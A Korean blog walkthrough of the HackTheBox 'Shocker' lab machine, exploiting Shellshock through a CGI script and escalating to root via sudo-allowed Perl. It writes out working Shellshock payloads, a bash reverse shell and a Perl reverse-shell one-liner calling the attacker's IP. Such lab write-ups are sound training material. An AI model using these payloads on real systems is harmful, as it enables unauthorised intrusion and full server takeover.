외로운 Nova의 작업실

HackTheBox - Shocker 본문

Server Penetesting/Hack-The-Box

HackTheBox - Shocker

Nova_ 2023. 4. 10. 16:10

OSCP 관련 머신중 하나인 shocker을 한번 공격해보겠습니다.

- 구성 환경

공격자 : 10.10.14.4

타겟 : 10.10.10.56

 

- Nmap

port 스캔을 먼저 해보겠습니다.

nmap -Pn -n -p- -sV -sC -v  -T4 10.10.10.56 -oA Shockerport2

80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

80번 포트에는 apache 웹서버가 실행중에있고, 2222번 포트에는 openSSH 시큐어쉘 서버가 실행중에 있습니다. 웹서버를 한번 방문해보겠습니다.

재밌는 그림이 있네요. 웹서버의 파일 구조를 한번 스캔해보겠습니다.

 

- gobuster

시작 포인트이므로 medium 워드 리스트를 사용해서 스캔해보겠습니다.

gobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150

server-status 경로만 스캔된것을 확인 할 수 있습니다. 기본적으로 디렉토리 리스팅을 끄게되면 디렉토리 경로로 접속했을때 403 포비든이 뜨게되므로 server-status는 디렉토리인 것같습니다. 디렉토리안에 다른게 있는지 확인해보겠습니다.

스캔이 안된것을 확인할 수 있습니다. 방화벽이 막는 것으로 보입니다. 웹서버 파일 구조를 탐지할떄 간혹 웹서버경로 마지막에 ' / '을 넣어줘야하는 경우가 있습니다. 고부스터는 기본적으로 / 을 넣지 않기때문에 -f 옵션으로 넣어줘야합니다. 한번 다시 -f 옵션을 넣어서 스캔해보겠습니다.

cgi-bin 디렉토리가 감지되었습니다. cgi는 예전에 웹서버에서 다른 어플리케이션을 사용해야할때, 메모장, 계산기, 쉘 등등을 사용하기위해 사용하던 방법입니다. 기본적으로 cgi-bin이라는 디렉토리에 cgi관련 스크립트가 있습니다. 방화벽이 막을 수도 있지만 한번 cgi-bin을 스캔해보겠습니다. 이때, 스캔 대상이 스크립트이기때문에 보통 sh,pl,cgi 등의 확장자를 많이 사용합니다. 따라서 확장자를 붙여서 스캔해보겠습니다.

user.sh가 스캔되었습니다. 한번 접속해보겠습니다.

접속했더니 user.sh가 다운로드됩니다. 한번 보겠습니다.

실제 쉘 스크립트가 실행되고 나온 결과물 같습니다. 일단, 쉘이 저희가 접속한 시간이나 컨텐츠 타입등을 결과물로 출력한 것으로 보아 쉘이 저희의 요청 패킷을 가공해서 결과물을 출력해주는 것 같습니다. 이때 패킷의 경우에는 저희가 위조할 수 있습니다. 따라서 쉘 관련 취약점을 한번 검색해보겠습니다.

 

- ShellShock 취약점

대표적인 쉘 관련 취약점은 ShellShock 취약점입니다. 아래 관련 자료입니다.

https://kinggod-daddong.tistory.com/4

 

ShellShock(CVE-2014-6271)-알려진 취약점이 있는 컴포넌트 사용

*연구목적으로 작성하였으며 본 저작권은 저에게 있습니다. 해당 게시물을 무단 복사 및 사용 시 법적 책임을 물을 수 있습니다. *악의적인 목적으로 이용할 시 발생할 수 있는 모든 법적 책임은

kinggod-daddong.tistory.com

한번 searchsploit 명령어로 취약점 exploit 페이로드를 찾아보겠습니다.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

페이로드를 구했습니다. 해당 페이로드를 가지고 exploit 해보겠습니다. 먼저 아파치는 패킷의 내용을 환경변수에 등록합니다. 따라서 env는 없애줍니다. 또한 '대신 ;을 써줍니다.

() { :;}; echo vulnerable; bash -c "echo this is a test"

위를 가지고 테스트해보겠습니다.

500 에러가 납니다. 서버 환경마다 다를 수 있기 때문에 요래조래 잘해보면

() { :;};echo; /usr/bin/id

해당 값의 페이로드가 먹히는 것을 확인할 수 있습니다.

이제 리버스 쉘을 시도해보겠습니다.

 

- 리버스 쉘

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp

 

GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and ...

github.com

위 url로 접속해서 bash tcp 리버스쉘 스크립트를 가져옵니다.

bash -i >& /dev/tcp/10.10.14.4/443 0>&1

이후 리버스쉘 포트를 열어줍니다.

이제 페이로드를 전달합니다.

() { :;};echo; /bin/bash -i >& /dev/tcp/10.10.14.4/443 0>&1

리버스쉘이 도착한것을 볼 수 있습니다.

 

- 쉘 pty

clear 명령어를 쓰면 상대방의 쉘에서 clear 명령어가 일어나기때문에 우리껀 clear가 안됩니다.

이를 가능하게 해주는게 파이썬에 있습니다.

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

조금 틀렷긴햇지만 성공한후 clear을 하면

잘됩니다.

 

- 권한 상승

권한 상승을 할때 첫번째로 볼건 sudo 명령어입니다. sudo 명령어중에서 패스워드 없이 관리자권한으로 실행할 수 있는 것이 있는지 확인해봐야합니다. 이는 sudo -l 명령어로 볼 수 있습니다.

ser shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

perl 프로그램은 sudo를 했을때 perl은 패스워드를 안쓰고 사용할 수 있다는 뜻입니다. perl 프로그램으로 다시 리버스 쉘을 써서 다시 받아보겠습니다.

perl -e 'use Socket;$i="10.10.14.4";$p=446;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

관리자 리버스쉘이 잘 도착한 것을 확인할 수 있습니다.

 

- 플래그

'Server Penetesting > Hack-The-Box' 카테고리의 다른 글

HackTheBox - nibbles  (0) 2023.04.22
HackTheBox - brainfuck  (0) 2023.04.21
HackTheBox - Lame  (0) 2023.04.20
HackTheBox - bashed  (0) 2023.04.12
HackTheBox - Legacy  (0) 2023.04.11
Comments